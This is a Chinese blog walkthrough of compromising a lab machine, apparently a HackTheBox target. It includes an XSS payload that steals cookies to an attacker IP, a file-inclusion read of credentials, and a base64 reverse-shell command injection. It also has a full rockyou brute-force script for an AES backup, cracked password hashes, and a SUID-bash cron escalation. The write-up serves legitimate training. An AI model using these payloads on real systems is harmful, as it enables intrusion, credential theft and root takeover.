确认ip:

测试连通性:

扫描端口及服务:

识别CMS:

访问web且启动burp:
xss测试:<img src=x οnerrοr="location.href='http://10.10.16.16/steal?cookie='+ document.cookie">

kali启动http服务监听:python3 -m http.server 80
获得管理员的cookie:GET /steal?cookie=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aQB3zA.NqEGYG82bCnpZE89wy22axcueM8

在bp里设置替换cookie:

设置完勾选上:

利用cookie欺骗,发现admin多一个downloadlog功能点,抓包看看:


发现存在文件包含漏洞,查看文件:/config.py发现db.json:


顺藤摸瓜找到用户名和密码:

利用CMD5解密为:
username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31"没解出来
"username": testuser@imagery.htb
"password": "2c65c8d7bfbca32a3ed42596192384f6"/iambatman

利用 testuser@imagery.htb/iambatman登录,上传一张图片:

发裁剪图片功能存在注入点:传入反弹shell并打开kali监听
"x":"0;`printf YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNi81NTU1IDA+JjE= | base64 -d | bash`;",

kali启动监听获取文件nc -lnvp 5555 >web_20250806_120723.zip.aes
在反弹shell中发送文件,解析文件加密格式为 pyAesCrypt 6.1(AES-256-CBC,AES Crypt v2 格式):

创建个解密爆破脚本:
#!/usr/bin/env python3
"""
使用字典攻击方式尝试解密AES加密的ZIP文件
"""
import pyAesCrypt
import os
import sys
# ==================== 配置区域 ====================
# 在此处修改以下参数以适应您的需求
# 加密文件路径(需要解密的文件)
ENCRYPTED_FILE = "web_20250806_120723.zip.aes"
# 解密后输出文件路径
DECRYPTED_FILE = "d.zip"
# 密码字典文件路径(常用的rockyou.txt字典)
WORDLIST_PATH = "/usr/share/wordlists/rockyou.txt"
# 加解密缓冲区大小(影响性能和内存使用)
BUFFER_SIZE = 64 * 1024  # 64KB缓冲区
# ==================== 主程序 ====================
def main():
    """
    主函数:执行AES文件暴力破解
    """
    # 打印启动信息
    print(f"[+] 开始对 {ENCRYPTED_FILE} 进行字典攻击")
    print(f"[+] 使用字典: {WORDLIST_PATH}")
    print(f"[+] 缓冲区大小: {BUFFER_SIZE} 字节")
    print("-" * 50)
    
    # 检查加密文件是否存在
    if not os.path.exists(ENCRYPTED_FILE):
        print(f"[-] 错误: 加密文件不存在: {ENCRYPTED_FILE}")
        sys.exit(1)
    
    try:
        # 打开密码字典文件
        with open(WORDLIST_PATH, 'r', encoding='latin-1') as f:
            # 初始化计数器
            attempts = 0
            
            # 遍历字典中的每一行(每个密码)
            for line in f:
                password = line.strip()  # 去除首尾空白字符
                
                # 跳过空密码
                if not password:
                    continue
                
                attempts += 1  # 增加尝试计数
                
                # 可选:每1000次尝试显示一次进度(取消注释以启用)
                # if attempts % 1000 == 0:
                #     print(f"[*] 已尝试 {attempts} 个密码...")
                
                # 可选:显示当前尝试的密码(取消注释以启用,但会降低速度)
                # print(f"[-] 尝试密码: {password}")
                
                try:
                    # 尝试使用当前密码解密文件
                    # pyAesCrypt.decryptFile会在解密成功时返回None,失败时抛出异常
                    pyAesCrypt.decryptFile(
                        ENCRYPTED_FILE,      # 输入:加密文件路径
                        DECRYPTED_FILE,      # 输出:解密后文件路径
                        password,            # 当前尝试的密码
                        BUFFER_SIZE          # 缓冲区大小
                    )
                    
                    # 如果执行到这里,说明解密成功!
                    print(f"\n[+] 成功!找到密码: {password}")
                    print(f"[+] 总尝试次数: {attempts}")
                    print(f"[+] 解密文件已保存为: {DECRYPTED_FILE}")
                    
                    # 验证解密文件是否存在且有效
                    if os.path.exists(DECRYPTED_FILE) and os.path.getsize(DECRYPTED_FILE) > 0:
                        print("[+] 文件验证: 成功")
                    else:
                        print("[-] 警告: 解密文件可能损坏")
                    
                    # 成功找到密码,正常退出程序
                    sys.exit(0)
                    
                except ValueError:
                    # ValueError异常表示密码错误,这是正常情况
                    # 忽略此异常,继续尝试下一个密码
                    pass
                    
                except Exception as e:
                    # 捕获其他异常(如文件损坏、权限问题等)
                    print(f"\n[-] 严重错误: {e}")
                    print(f"[-] 最后尝试的密码: {password}")
                    sys.exit(1)
    
    except FileNotFoundError:
        # 密码字典文件不存在
        print(f"[-] 错误: 密码字典文件不存在: {WORDLIST_PATH}")
        print("[!] 请确保已安装rockyou.txt字典或修改WORDLIST_PATH配置")
        sys.exit(1)
        
    except KeyboardInterrupt:
        # 用户按Ctrl+C中断程序
        print(f"\n[!] 用户中断,已尝试 {attempts} 个密码")
        sys.exit(1)
    
    # 如果循环结束仍未找到密码
    print(f"\n[-] 失败: 已尝试所有 {attempts} 个密码,未找到正确密码")
    print("[!] 建议: 尝试使用更大的密码字典或检查文件是否使用AES加密")
# 程序入口点
if __name__ == "__main__":
    main()
运行脚本,解出Password: bestfriends 利用hashcat破解hash得到:
- 2c65c8d7bfbca32a3ed42596192384f6:iambatman
- 01c3d2e5bdaf6134cec0a367cf53e535:supersmash
ssh没成功,直接su切换到mark用户,开始提权,发现charcol:

执行charcol> auto add --schedule "* * * * *" --command "chmod +s /usr/bin/bash" --name "hack"
创建一个每分钟运行一次的定时任务chmod +s /usr/bin/bash,名字为hack
- chmod +s设置SUID权限
- 任何用户执行bash都会以文件所有者权限(通常是root)运行
- 普通用户可以通过 /usr/bin/bash -p获得root shell

执行后返回root的shell,查看root/root.txt,结束:

 
                   
                   
                   
                   
       
           
                 
                 
                 
                 
                 
                
               
                 
                 
                 
                 
                
               
                 
                 扫一扫
扫一扫
                     
                     
              
             
                   1万+
					1万+
					
 被折叠的  条评论
		 为什么被折叠?
被折叠的  条评论
		 为什么被折叠?
		 
		  到【灌水乐园】发言
到【灌水乐园】发言                                
		 
		 
    
   
    
   
             
					 
					 
					


 
            